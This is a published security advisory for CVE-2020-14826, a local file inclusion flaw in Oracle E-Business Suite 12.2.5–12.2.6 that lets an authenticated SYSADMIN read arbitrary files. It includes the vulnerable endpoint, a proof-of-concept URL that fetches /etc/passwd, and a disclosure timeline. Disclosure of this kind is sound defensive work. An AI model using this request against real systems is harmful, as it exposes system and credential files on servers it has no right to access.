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Oracle EBS Local File Inclusion

Description

Oracle E-Business Suite supports today's evolving business models, drives productivity, and meets the demands of the modern mobile user.

More information at https://www.oracle.com/applications/ebusiness/

Summary

Product
Oracle E-Business Suite
Vendor
Oracle
Affected Versions
12.2.5, 12.2.6
Severity
MEDIUM
Identifier
CVE-2020-14826
Tested Platform
Linux

Impact

Arbitrary File Reading under oracle's privileged.

Detail

Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite. After login as SYSADMIN, attacker is able to read arbitrary files by accessing vulnerable endpoint

http://<URL>/OA_HTML/weboam/oam/adconfig/adAppsCtxtFilesTable$target=$fnctNm=NODE*_CONFIG.EDIT*_PORTS$event=doFilter?event=viewFile&fileName=

with filename is local file name which can be read under oracle's privileged.

Proof of Concept

Download /etc/passwd by GET this url

http://<URL>/OA_HTML/weboam/oam/adconfig/adAppsCtxtFilesTable$target=$fnctNm=NODE*_CONFIG.EDIT*_PORTS$event=doFilter?event=viewFile&fileName=/etc/passwd

Vendor Status

Oracle released critical patch update advisory - October 2020 https://www.oracle.com/security-alerts/cpuoct2020.html

Disclosure Timeline

Date
Summary
20/03/2020
Vulnerability discovered
19/05/2020
ECQ sent the advisory to Oracle
19/05/2020
Oracle Security Alerts received report and will investigate
21/05/2020
Oracle Security Alerts confirmed issue and filed a security bug to track
16/08/2020
ECQ requested a status update and informed 90 days disclosure policy
19/08/2020
Oracle Security Alerts informed that they filed against the wrong product and scheduled to released patch on October 20, 2020
17/10/2020
Oracle Security Alerts assigned CVE and informed Critical Patch Update will be released on October 20, 2020
20/10/2020
Oracle released Critical Patch Update
17/05/2021
Advisory Published

Credit

Thai Nguyen

Appendix

N/A